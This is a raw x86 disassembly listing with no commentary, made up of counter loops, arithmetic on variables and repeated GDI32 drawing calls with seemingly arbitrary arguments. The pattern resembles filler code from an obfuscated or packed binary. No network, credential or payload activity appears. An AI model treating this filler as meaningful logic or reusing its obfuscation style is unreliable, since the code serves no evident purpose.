cmp dword [ebp - 0x258], 0xce63
jne 0x4039ed
cmp dword [ebp - 0x25c], 0x6274
je 0x403a74
mov ecx, dword [ebp - 0x25c]
add ecx, 0x3f
mov dword [ebp - 0x25c], ecx
mov edx, dword [0x40701c]
movsx eax, word [edx]
mov ecx, dword [0x407020]
movsx ecx, word [ecx]
sar eax, cl
mov edx, dword [0x407028]
mov word [edx], ax
jmp 0x403a3a
cmp dword [ebp - 0x260], 0xa8d6
jae 0x403abd
mov eax, dword [ebp - 0x260]
add eax, 0x6f
mov dword [ebp - 0x260], eax
mov ecx, dword [ebp - 0x114]
mov edx, dword [ecx]
or edx, dword [ebp - 0x84]
mov dword [ebp - 0xb8], edx
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x90]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0xac]
mov dword [eax], edx
jmp 0x403a74
push 0
mov ecx, dword [ebp - 0x520]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x264], eax
push 0xb
push 0x2a
push 0x4b
push 0x47
push 0xcc
push 0x12
push 0xeb
push 0x98
mov edx, dword [ebp - 0x450]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x268], 0xd8c
je 0x403b32
mov eax, dword [ebp - 0x268]
add eax, 0x50
mov dword [ebp - 0x268], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, byte [ecx]
mov eax, dword [0x40704c]
movzx ecx, byte [eax]
xor edx, ecx
mov eax, dword [0x407048]
mov byte [eax], dl
jmp 0x403afe
movzx eax, word [ebp - 0x50]
cdq
mov ecx, 0x85
idiv ecx
mov word [ebp - 0x24], ax
mov dword [ebp - 0x2c4], 0xcbf7
movsx edx, byte [ebp - 0x25]
movsx eax, byte [0x407002]
add edx, eax
mov byte [ebp - 0x49], dl
mov dword [ebp - 0x2d8], 0x7782
push 0x74
push 0x70
push 0x48
push 0xca
push 0xf8
push 0xf5
push 0x8c
push 0x6b
mov ecx, dword [ebp - 0x538]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x144], eax
mov edx, dword [0x40701c]
mov ax, word [edx]
mov word [0x407058], ax
push 8
mov ecx, dword [ebp - 0x4dc]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x38]
shl edx, cl
mov eax, dword [ebp - 0x70]
mov dword [eax], edx
mov dword [ebp - 0x3ac], 0x4575
mov dword [ebp - 0x270], 0x532e
mov ecx, dword [ebp - 0x26c]
sub ecx, 0x44
mov dword [ebp - 0x26c], ecx
push 2
mov edx, dword [ebp - 0x3e4]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x630], eax
push 0
mov eax, dword [ebp - 0x4e0]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x26c], 0xd33c
ja 0x403bd7
push 1
mov ecx, dword [ebp - 0x4e4]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0x270]
add edx, 0xae
mov dword [ebp - 0x270], edx
mov eax, dword [ebp - 0xd4]
mov edx, dword [0x407014]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
push 0x95
push 0xb0
push 0x14
push 0xef
push 0x1d
push 0x85
push 0x79
push 0x46
mov ecx, dword [ebp - 0x518]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x270], 0x53dc
jbe 0x403c2b
push 2
mov edx, dword [ebp - 0x634]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x2c0], eax
mov eax, dword [0x407048]
movzx edx, byte [eax]
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
shl edx, cl
mov byte [0x40701b], dl
mov dword [ebp - 0xec], 0x407018
movsx ecx, byte [ebp - 0x16]
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0xe4]
mov byte [edx], cl
mov eax, dword [ebp - 0x274]
sub eax, 0x26
mov dword [ebp - 0x274], eax
movsx ecx, word [ebp - 0xc]
mov edx, dword [0x407028]
movsx eax, word [edx]
add ecx, eax
mov word [0x407058], cx
push 2
mov ecx, dword [ebp - 0x4e4]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x274], 0x5f47
jae 0x403cd6
lea edx, [ebp - 0x38]
mov dword [ebp - 0x51c], edx
mov eax, dword [ebp - 0xcc]
xor eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
movzx edx, byte [0x407007]
movzx eax, byte [ebp - 2]
sub edx, eax
mov byte [0x40700a], dl
mov dword [ebp - 0x310], 0x5c40
mov dword [ebp - 0x40c], 0x407000
mov dword [ebp - 0x340], 0xeb1e
movsx edx, byte [ebp - 0x15]
movsx ecx, byte [ebp - 0x1d]
sar edx, cl
mov byte [ebp - 0x16], dl
mov dword [ebp - 0x3c4], 0x7cc2
movsx eax, word [ebp - 0xc]
movsx ecx, word [ebp - 0x14]
or eax, ecx
mov edx, dword [0x407054]
mov word [edx], ax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x104], eax
mov dword [ebp - 0x330], 0x74da
mov ecx, dword [ebp - 0x278]
sub ecx, 0x7a
mov dword [ebp - 0x278], ecx
mov edx, dword [ebp - 0x124]
mov eax, dword [0x407014]
or eax, dword [edx]
mov dword [ebp - 0xcc], eax
push 0xb2
push 0x2a
push 0x24
push 0xca
push 0xc
push 0xd3
push 0xce
push 0xd9
mov ecx, dword [ebp - 0x450]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x278], 0x3377
ja 0x403d9e
push 0
mov edx, dword [ebp - 0x63c]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 2
mov eax, dword [ebp - 0x640]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4e8], eax
cmp dword [ebp - 0x27c], 0x29e6
jb 0x403e64
mov ecx, dword [ebp - 0x27c]
sub ecx, 0xf4
mov dword [ebp - 0x27c], ecx
movzx edx, byte [0x40700a]
movzx ecx, byte [ebp - 1]
sar edx, cl
mov eax, dword [0x407048]
mov byte [eax], dl
movzx ecx, word [ebp - 0x40]
movzx edx, word [ebp - 0x24]
sub ecx, edx
mov word [ebp - 0x34], cx
jmp 0x403e22
cmp dword [ebp - 0x280], 0xa571
je 0x403e94
mov eax, dword [ebp - 0x280]
add eax, 0xac
mov dword [ebp - 0x280], eax
mov ecx, dword [ebp - 0x6c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2f]
xor edx, eax
mov ecx, dword [ebp - 0x68]
mov byte [ecx], dl
jmp 0x403e64
mov edx, dword [0x407028]
mov ax, word [edx]
mov word [0x40705c], ax
mov ecx, dword [ebp - 0x114]
mov edx, dword [ebp - 0x44]
and edx, dword [ecx]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x284], 0x970
jb 0x403eec
mov ecx, dword [ebp - 0x284]
sub ecx, 0x7a
mov dword [ebp - 0x284], ecx
movzx edx, byte [ebp - 2]
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
add edx, ecx
mov byte [0x407032], dl
jmp 0x403ebd
mov edx, dword [ebp - 0xec]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x24]
imul eax, ecx
mov word [ebp - 0x40], ax
movsx edx, byte [0x407002]
mov eax, dword [ebp - 0xe4]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x30], dl
mov dword [ebp - 0x2e0], 0x20dc
mov edx, dword [0x407054]
movsx eax, word [edx]
mov ecx, dword [0x407020]
movsx edx, word [ecx]
add eax, edx
mov ecx, dword [0x407028]
mov word [ecx], ax
push 2
mov edx, dword [ebp - 0x644]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4ec], eax
mov dword [ebp - 0x2b4], 0x7dee
cmp dword [ebp - 0x288], 0x870
ja 0x403f8a
mov eax, dword [ebp - 0x288]
add eax, 0xdb
mov dword [ebp - 0x288], eax
mov ecx, dword [ebp - 0x80]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
jmp 0x403f5b
push 2
mov ecx, dword [ebp - 0x648]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x10c], eax
mov dword [ebp - 0x3bc], 0x5cae
mov dword [ebp - 0x384], 0x4f2e
mov dword [ebp - 0x29c], 0xca2d
mov edx, dword [ebp - 0xe8]
xor edx, dword [ebp - 0xcc]
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x2a4], 0x5052
cmp dword [ebp - 0x28c], 0xb367
jbe 0x40400f
mov eax, dword [ebp - 0x28c]
sub eax, 0x86
mov dword [ebp - 0x28c], eax
movzx edx, byte [0x40700a]
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x407044]
mov byte [ecx], dl
jmp 0x403fd9
push 0xa5
push 0xb5
push 0x6c
push 0xde
push 0x4b
push 0xb5
push 0xbd
push 0xfa
mov edx, dword [ebp - 0x64c]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x4f0], eax
mov eax, dword [ebp - 0x94]
mov cx, word [eax]
mov word [ebp - 0xa4], cx
mov edx, dword [ebp - 0xc0]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x68]
movsx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x30], al
mov dword [ebp - 0x3d0], 0x1ca2
mov dword [ebp - 0x350], 0xebc8
movsx eax, word [ebp - 0xc]
mov ecx, dword [0x407020]
movsx ecx, word [ecx]
sar eax, cl
mov word [0x407010], ax
mov dword [ebp - 0x3fc], 0x7ddc
mov edx, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb4]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x9c], edx
push 2
mov eax, dword [ebp - 0x4f4]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov ecx, dword [ebp - 0x90]
mov edx, dword [ebp - 0x11c]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0x2c8], 0x869a
cmp dword [ebp - 0x290], 0x8b3f
jae 0x404118
mov eax, dword [ebp - 0x290]
add eax, 0xca
mov dword [ebp - 0x290], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, byte [ecx]
mov eax, dword [0x407050]
movzx ecx, byte [eax]
or edx, ecx
mov eax, dword [0x407024]
mov byte [eax], dl
jmp 0x4040e2
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x414], ecx
movsx edx, byte [0x407002]
mov eax, dword [ebp - 0xe4]
movsx ecx, byte [eax]
shl edx, cl
mov byte [ebp - 0x25], dl
mov ecx, dword [0x407054]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x14]
xor edx, eax
mov word [0x407010], dx
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x118], ecx
push 5
mov edx, dword [ebp - 0x440]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov eax, dword [ebp - 0x294]
sub eax, 0x58
mov dword [ebp - 0x294], eax
push 1
mov ecx, dword [ebp - 0x44c]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x460], eax
mov edx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xa0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0xac]
mov dword [ecx], eax
cmp dword [ebp - 0x294], 0xbf45
jae 0x404167
push 0x46
push 0xf8
push 0xfb
push 0x61
push 0x57
push 0x76
push 0x36
push 0xaf
mov edx, dword [ebp - 0x650]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x298]
sub eax, 0x46
mov dword [ebp - 0x298], eax
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 2]
and ecx, edx
mov eax, dword [0x407044]
mov byte [eax], cl
push 4
mov ecx, dword [ebp - 0x3a8]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x298], 0xd74b
ja 0x4041ad
mov edx, dword [ebp - 0x94]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5c]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x50], ax
push 1
mov eax, dword [ebp - 0x4f8]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x654], eax
lea ecx, [ebp - 0x15]
mov dword [ebp - 0x148], ecx
mov dword [ebp - 0x2d4], 0x5039
mov dword [ebp - 0x32c], 0xcc38
mov edx, dword [ebp - 0x29c]
sub edx, 0x88
mov dword [ebp - 0x29c], edx
mov eax, dword [0x40701c]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x14]
add ecx, edx
mov eax, dword [0x407054]
mov word [eax], cx
push 1
mov ecx, dword [ebp - 0x3e4]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x658], eax
cmp dword [ebp - 0x29c], 0xc91d
ja 0x40425b
cmp dword [ebp - 0x2a0], 0xde16
jbe 0x4042cd
mov edx, dword [ebp - 0x2a0]
sub edx, 0xab
mov dword [ebp - 0x2a0], edx
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x38], eax
jmp 0x4042a4
mov edx, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xa0]
shl edx, cl
mov eax, dword [ebp - 0x98]
mov dword [eax], edx
lea ecx, [ebp - 1]
mov dword [0x407060], ecx
mov edx, dword [ebp - 0xec]
mov ax, word [edx]
mov word [ebp - 0xa8], ax
mov ecx, dword [ebp - 0xc8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x148]
movsx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x49], dl
mov dword [ebp - 0x3a4], 0x21bb
mov edx, dword [0x407028]
movsx eax, word [edx]
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [0x407054]
mov word [ecx], ax
lea edx, [ebp - 0xb8]
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0xc4]
mov edx, dword [ebp - 0xf8]
mov dword [edx], ecx
cmp dword [ebp - 0x2a4], 0x51ab
jae 0x4043bb
mov eax, dword [ebp - 0x1c]
movzx ecx, byte [eax]
movzx edx, byte [0x40700a]
or ecx, edx
mov eax, dword [0x407038]
mov byte [eax], cl
mov ecx, dword [ebp - 0x2a4]
add ecx, 0x73
mov dword [ebp - 0x2a4], ecx
mov edx, dword [ebp - 0x40c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x5c]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x40], ax
mov eax, dword [ebp - 0x148]
movsx ecx, byte [eax]
movsx edx, byte [0x407002]
or ecx, edx
mov eax, dword [ebp - 0x74]
mov byte [eax], cl
jmp 0x40435c
cmp dword [ebp - 0x2a8], 0x75ff
je 0x404404
mov ecx, dword [ebp - 0x2a8]
add ecx, 0xc5
mov dword [ebp - 0x2a8], ecx
movsx edx, word [ebp - 0x10]
movsx eax, word [0x407058]
xor edx, eax
mov ecx, dword [0x40701c]
mov word [ecx], dx
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x80]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x9c], ecx
jmp 0x4043bb
push 1
mov edx, dword [ebp - 0x440]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x53c], eax
mov eax, dword [ebp - 0x2ac]
add eax, 0xd
mov dword [ebp - 0x2ac], eax
push 0x25
push 0x7d
push 0x80
push 3
push 0xe7
push 0x55
push 0x77
push 0xde
mov ecx, dword [ebp - 0x444]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x5ac], eax
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0xd4]
mov dword [ecx], eax
cmp dword [ebp - 0x2ac], 0xd889
jb 0x404419
mov edx, dword [ebp - 0x1c]
mov al, byte [edx]
mov byte [0x407033], al
cmp dword [ebp - 0x2b0], 0xa1b9
ja 0x4044ef
mov ecx, dword [ebp - 0x2b0]
add ecx, 0x9f
mov dword [ebp - 0x2b0], ecx
push 0xf4
push 0x8d
push 0xa3
push 0xb2
push 0xb2
push 0x6c
push 0xd7
push 0xc6
mov edx, dword [ebp - 0x454]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x65c], eax
movzx eax, word [0x407018]
mov ecx, dword [ebp - 0x78]
movzx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x94]
mov word [ecx], ax
jmp 0x40447f
cmp dword [ebp - 0x2b4], 0x7d34
jb 0x404541
mov edx, dword [ebp - 0x2b4]
sub edx, 0xba
mov dword [ebp - 0x2b4], edx
push 0xa6
push 0x22
push 0x4d
push 0xd4
push 0xf6
push 0xe2
push 0x57
push 0xc9
mov eax, dword [ebp - 0x100]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x660], eax
jmp 0x4044ef
mov ecx, dword [ebp - 0x6c]
movsx edx, byte [ecx]
movsx ecx, byte [ebp - 0x16]
shl edx, cl
mov byte [ebp - 0x39], dl
movsx eax, word [0x407010]
mov ecx, dword [0x407020]
movsx ecx, word [ecx]
shl eax, cl
mov word [0x407058], ax
push 2
mov edx, dword [ebp - 0x664]
push edx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
mov eax, dword [ebp - 0x504]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x4fc], eax
push 4
mov ecx, dword [ebp - 0x500]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0x118]
mov eax, dword [ebp - 0x70]
mov edx, dword [edx]
mov ecx, dword [eax]
shl edx, cl
mov eax, dword [ebp - 0x114]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2b8]
sub ecx, 0xd6
mov dword [ebp - 0x2b8], ecx
push 0xf9
push 0x7e
push 0x4f
push 0xef
push 0xee
push 0x2c
push 0x67
push 0x93
mov edx, dword [ebp - 0x504]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x668], eax
push 2
mov eax, dword [ebp - 0x44c]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x2b8], 0x305a
jae 0x40459b
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x60]
mov dword [ebp - 0x11c], edx
mov dword [ebp - 0x320], 0x26f3
mov dword [ebp - 0x374], 0xb3ea
mov eax, dword [0x407050]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 1]
and ecx, edx
mov byte [0x40700b], cl
push 8
mov eax, dword [ebp - 0x66c]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x418], ecx
cmp dword [ebp - 0x2bc], 0x24a6
ja 0x4046a9
mov edx, dword [ebp - 0x2bc]
add edx, 0xe1
mov dword [ebp - 0x2bc], edx
mov eax, dword [ebp - 0x68]
movsx edx, byte [eax]
movsx ecx, byte [ebp - 0x49]
sar edx, cl
mov byte [ebp - 0x30], dl
mov eax, dword [0x407020]
movsx ecx, word [eax]
movsx edx, word [0x40700c]
sub ecx, edx
mov word [0x407008], cx
jmp 0x404662
push 0xb6
push 0x6f
push 0xb5
push 0x9e
push 0x17
push 0xbb
push 0x6e
push 0x3d
mov eax, dword [ebp - 0x670]
push eax
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0xb4]
mov edx, dword [ebp - 0x2c]
add edx, dword [ecx]
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x90]
mov ecx, dword [eax]
mov dword [ebp - 0x120], ecx
mov dword [ebp - 0x380], 0xc602
mov edx, dword [0x407048]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 1]
add eax, ecx
mov byte [0x407007], al
push 0xd
push 0xdb
push 0xb
push 0x6c
push 0x51
push 0x97
push 0x84
push 0xe1
mov edx, dword [ebp - 0x674]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x334], 0x7e0d
movzx eax, word [section..data]
movzx ecx, word [ebp - 8]
cdq
idiv ecx
mov word [ebp - 0xa4], ax
push 0xf5
push 0x88
push 0xd6
push 0x79
push 0x4e
push 0xcb
push 0xf9
push 0x69
mov edx, dword [ebp - 0x760]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x508], eax
push 0
mov eax, dword [ebp - 0x678]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x2c0], eax
push 8
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
mov edx, dword [ebp - 0x43c]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x5b0], eax
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x25]
sub ecx, edx
mov byte [ebp - 0xed], cl
mov eax, dword [0x407054]
mov cx, word [eax]
mov word [0x407064], cx
push 0x5e
push 0xfb
push 0x42
push 0x87
push 0x3f
push 0x3e
push 0x6d
push 0x1a
mov edx, dword [ebp - 0x440]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x67c], eax
push 6
mov eax, dword [ebp - 0x530]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov ecx, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x70]
mov dword [eax], edx
push 2
mov ecx, dword [ebp - 0x510]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0xac]
mov eax, dword [edx]
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, byte [ecx]
mov eax, dword [0x407044]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x40700a], dl
mov edx, dword [ebp - 0x2c4]
sub edx, 5
mov dword [ebp - 0x2c4], edx
movzx eax, word [ebp - 0x34]
movzx ecx, word [ebp - 0x50]
and eax, ecx
mov edx, dword [ebp - 0x78]
mov word [edx], ax
cmp dword [ebp - 0x2c4], 0xcbe8
ja 0x40486c
mov eax, dword [ebp - 0x6c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x74]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x49], cl
mov dword [ebp - 0x2f8], 0x7be0
cmp dword [ebp - 0x2c8], 0x8892
je 0x4048f8
mov ecx, dword [ebp - 0x2c8]
add ecx, 0xfc
mov dword [ebp - 0x2c8], ecx
mov edx, dword [0x40701c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0xc]
xor eax, ecx
mov edx, dword [0x407020]
mov word [edx], ax
mov eax, dword [ebp - 0x44]
xor eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0xd8]
mov dword [ecx], eax
jmp 0x4048b2
mov edx, dword [ebp - 0xc4]
and edx, dword [ebp - 0x88]
mov dword [ebp - 0x128], edx
cmp dword [ebp - 0x2cc], 0xe28e
ja 0x404953
mov eax, dword [ebp - 0x2cc]
add eax, 0x36
mov dword [ebp - 0x2cc], eax
push 0x78
push 0x72
push 0x92
push 0xa7
push 0x3b
push 0x2c
push 0x46
push 0xf6
mov ecx, dword [ebp - 0x514]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x594], eax
jmp 0x40490a
mov edx, dword [ebp - 0x1c]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 1]
or eax, ecx
mov byte [0x40700e], al
push 2
mov edx, dword [ebp - 0x518]
push edx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x680], eax
cmp dword [ebp - 0x2d0], 0x2afa
jb 0x4049a9
mov eax, dword [ebp - 0x2d0]
sub eax, 0x32
mov dword [ebp - 0x2d0], eax
movzx edx, word [0x407018]
mov eax, dword [ebp - 0x54]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x50], dx
jmp 0x404979
movsx ecx, byte [0x407002]
movsx edx, byte [ebp - 0x2d]
sub ecx, edx
mov eax, dword [ebp - 0xe4]
mov byte [eax], cl
mov dword [ebp - 0x358], 0x9270
push 1
mov ecx, dword [ebp - 0x100]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x684], eax
cmp dword [ebp - 0x2d4], 0x4ffb
jbe 0x404a2b
mov edx, dword [ebp - 0x2d4]
sub edx, 0x3e
mov dword [ebp - 0x2d4], edx
mov eax, dword [0x407028]
movsx edx, word [eax]
mov eax, dword [0x40701c]
movsx ecx, word [eax]
shl edx, cl
mov word [0x40700c], dx
mov ecx, dword [ebp - 0x104]
mov edx, dword [ecx]
mov eax, dword [ebp - 0xd8]
add edx, dword [eax]
mov ecx, dword [ebp - 0x51c]
mov dword [ecx], edx
jmp 0x4049dd
push 0xd4
push 0xd2
push 0x5e
push 0x96
push 0xca
push 0x98
push 0x47
push 0x35
mov edx, dword [ebp - 0x13c]
push edx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x688], eax
cmp dword [ebp - 0x2d8], 0x77a4
jae 0x404aa1
mov eax, dword [ebp - 0x2d8]
add eax, 0x11
mov dword [ebp - 0x2d8], eax
mov ecx, dword [ebp - 0xf8]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x98]
add edx, dword [eax]
mov dword [ebp - 0xcc], edx
movzx ecx, byte [ebp - 2]
movzx edx, byte [ebp - 1]
add ecx, edx
mov eax, dword [0x407024]
mov byte [eax], cl
jmp 0x404a5d
push 4
mov ecx, dword [ebp - 0x68c]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
mov edx, dword [ebp - 0x2dc]
sub edx, 0x71
mov dword [ebp - 0x2dc], edx
mov eax, dword [ebp - 0x5c]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x24]
shl edx, cl
mov word [ebp - 8], dx
mov eax, dword [ebp - 0xc0]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x39]
sub ecx, edx
mov eax, dword [ebp - 0x6c]
mov byte [eax], cl
push 1
mov ecx, dword [ebp - 0x444]
push ecx
call dword [sym.imp.GDI32.dll_SetTextAlign]
cmp dword [ebp - 0x2dc], 0xee07
ja 0x404ab0
mov edx, dword [ebp - 0x2e0]
add edx, 0xfb
mov dword [ebp - 0x2e0], edx
movsx eax, word [ebp - 0x14]
movsx ecx, word [ebp - 0x10]
sar eax, cl
mov word [0x40700c], ax
mov ecx, dword [ebp - 0x38]
or ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x64]
mov dword [edx], ecx
cmp dword [ebp - 0x2e0], 0x22d2
jb 0x404afe
push 0
mov eax, dword [ebp - 0x3a8]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x558], eax
mov dword [ebp - 0x2f0], 0xff4c
mov ecx, dword [ebp - 0x2e4]
add ecx, 0xc8
mov dword [ebp - 0x2e4], ecx
mov edx, dword [ebp - 0xe0]
mov eax, dword [0x407014]
and eax, dword [edx]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x2e4], 0xa56c
jne 0x404b56
movzx ecx, byte [ebp - 1]
movzx edx, byte [ebp - 2]
sub ecx, edx
mov eax, dword [0x407024]
mov byte [eax], cl
push 0
mov ecx, dword [ebp - 0x398]
push ecx
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x690], eax
cmp dword [ebp - 0x2e8], 0x8a1e
jae 0x404bde
mov edx, dword [ebp - 0x2e8]
add edx, 0xa5
mov dword [ebp - 0x2e8], edx
movzx eax, word [section..data]
movzx ecx, word [ebp - 8]
and eax, ecx
mov word [ebp - 0x34], ax
jmp 0x404bad
lea edx, [ebp - 0x1d]
mov dword [ebp - 0xdc], edx
push 0
mov eax, dword [ebp - 0x520]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x2ec]
add ecx, 0x48
mov dword [ebp - 0x2ec], ecx
mov edx, dword [0x407054]
movsx eax, word [edx]
mov ecx, dword [0x40701c]
movsx edx, word [ecx]
or eax, edx
mov word [0x407040], ax
mov eax, dword [ebp - 0x114]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x38]
sar edx, cl
mov eax, dword [ebp - 0xb4]
mov dword [eax], edx
cmp dword [ebp - 0x2ec], 0x336
jne 0x404bfc
push 0x39
push 0xef
push 0xe
push 0xfc
push 0xe9
push 0x79
push 0xcb
push 0xd
mov ecx, dword [ebp - 0x524]
push ecx
call dword [sym.imp.GDI32.dll_Arc]
mov dword [ebp - 0x548], eax
